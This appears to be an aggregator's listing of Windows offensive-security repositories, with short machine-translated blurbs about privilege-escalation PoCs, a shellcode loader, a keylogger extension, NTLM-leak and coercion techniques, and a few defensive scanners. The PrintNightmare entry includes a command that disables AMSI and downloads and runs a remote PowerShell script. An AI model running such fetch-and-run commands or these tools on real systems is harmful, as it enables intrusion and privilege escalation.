Windows-Exploitation-Web-Server-Tomcat-8.5.39-CVE-2019-0232

Ce depot n’a pas de fichier README...

CVE-2018-8410

CVE-2018-8410 PoC pour pour vulnérabilité d'élévation de privilège du registre du noyau Windows...

cve-2021-1675

cve-2021-1675 désactiver AMSI: copier dans PowerShell https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt exécuter invoke-script iex New-Object Net.WebClient.DownloadString'https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1' créer un compte...

printDemon2system

printDemon2system CVE-2020-1048 Escalada de privilegios de PrintDemon a SYSTEM PrintDemon era una vulnerabilidad lógica en el servicio Windows Print Spooler spoolsv.exe. La vulnerabilidad residía en la forma en que el spooler manejaba los trabajos de impresión a archivos y, al ser explotada,...

Java-Shellcode-Loader

Java ShellCode Loader Загрузчик ShellCode, реализованный на Java, совместим с 32-битными и 64-битными платформами. Основной принцип — использование JNA для вызова Windows API и внедрения shellcode. Среда выполнения: JRE = 1.5 Примечание: этот проект уже встроен в модуль ShellCodeLoader в...

Nim_DInvoke

Nim DInvoke Реализация D/Invoke на Nim Все Nim-бинары обычно экспортируют одни и те же 58–60 функций Windows API: Все остальные функции Windows API обычно разрешаются во время выполнения через GetProcAddress и LoadLibraryA, как упоминается в OffensiveNim или этой записи в блоге. Таким образом,...

SharpWnfSuite

SharpWnfSuite Это репозиторий для инструментов Windows Notification Facility WNF. В настоящее время загружен C-порт инструментов из wnfun, разработанных Алексом Ионеску @aionescu и Габриэль Виала @pwissenlit. Когда я разработаю дополнительные инструменты для Windows Notification Facility, они буд...

DogWalk-rce-poc

Dogwalk Proof-of-Concept🐾 root@kitploit: 🚨 Предупреждение 🚨 PoC позволяет атакующему получить на устройстве жертвы под управлением Windows. Цель этого репозитория — сделать PoC даже более удобным, чем a href= репозиторий. НЕ ИСПОЛЬЗУЙТЕ ЕГО БЕЗ ПРЕДВАРИТЕЛЬНОГО РАЗРЕШЕНИЯ!...

SliverKeylogger

Sliver Keylogger Это расширение для sliver было написано в основном как учебное упражнение по изучению того, как sliver обрабатывает расширения. Я хотел бы поблагодарить всю команду Sliver за их работу над этим публичным имплант-фреймворком. Особую благодарность хочу выразить @rkervell за ответы ...

CVE-2025-24071

CVE-2025-24071PoC CVE-2025-24071 : Fuite de hachage NTLM via extraction RAR/ZIP et fichier .library-ms L'Explorateur Windows initie automatiquement une requête d'authentification SMB lorsqu'un fichier .library-ms est extrait d'une archive .rar, ce qui entraîne la divulgation du hachage NTLM...

CVE-2018-8120

CVE-2018-8120 CVE-2018-8120 Windows LPE эксплойт Поддерживается тестирование: Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 Datacenter x64, Win2008 Enterprise x64 WinXP x32, Win2003 x32, Win2003 x64 Исходный эксплойт не поддерживал XP, 2003, текущий код добавляет поддержку этих сист...

CVE-2020-1472-visualizer

CVE-2020-1472 Event Reader v1.1 27.08.2020 Этот скрипт делает следующее: 1. Сканирует системные evtx в папке с входными файлами на наличие событий 5827, 5828, 5829, 5830 и 5831, извлекает точные поля данных и экспортирует в 582-.CSV. 2. Вызывает Excel для импорта полученных 582-.CSV, создаёт...

ExtractedDefender

Просто попытка сгруппировать извлечённые данные из Defender в исследовательских целях. Оригинальное исследование от commial по LUA/VDM https://github.com/commial/experiments/tree/master/windows-defender WDextract https://github.com/hfiref0x/WDExtract...

TokenPlayer

TokenPlayer Манипулирование и эксплуатация маркеров доступа Windows. TokenPlayer — это небольшой инструмент, который я создал, чтобы изучить программирование Win32 API и лучше понять модель маркеров доступа Windows. Возможности: Похищение и имперсонация первичных маркеров. Имперсонация защищённых...

awesome-security-hardening

awesome-security-hardening Подборка отличных руководств по усилению безопасности, лучших практик, чек-листов, бенчмарков, инструментов и других ресурсов. Это работа в процессе: пожалуйста, внесите свой вклад, отправив свои предложения. Вы можете сделать это, создав тикеты, или сделав форк,...

offensive-security-lab-1

offensive-security-lab-1 Windows 7 VM에 대한 실습형 취약점 평가 및 익스플로잇으로, EternalBlue CVE-2017-0143 익스플로잇을 사용합니다. 스캐닝, Metasploit을 이용한 익스플로잇, 사후 익스플로잇, 그리고 통제된 실습 환경에서의 복구 단계를 포함합니다...

TIC4301_Project

TIC4301Project TIC4301 项目 - CVE-2021-40444 下载以下 Vagrant 镜像： Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 通过 Vagrant 使用以下命令导入镜像： 1. vagrant box add kalipackage.box...

log4j-scanner

log4j-scanner Scanner de vulnérabilité Log4j 2 CVE-2021-44228 pour Windows OS. Exemple d'utilisation Utilisation root@kitploit: .\log4j-scanner.exe Terminal is used to output results, deploy this to machines via RMM and Start/Report from PowerShell or CMD Prompt. Compilation à partir des sources...

PINKPANTHER

PINKPANTHER Краткое описание Windows x64 собственноручно написанный шеллкод режима ядра для замены основного токена доступа выполняющегося процесса на токен процесса SYSTEM для повышения привилегий EoP. Поддерживаемые версии ОС Windows 7/Windows Server 2008 R2 Build 7601 Windows 8/Windows Server...

windows-coerced-authentication-methods

Этот репозиторий содержит список множества методов, позволяющих принудить Windows-машину пройти аутентификацию на машине, контролируемой атакующим. Все эти методы могут вызываться обычным пользователем домена, чтобы принудить учётную запись компьютера целевой Windows-машины обычно контроллера...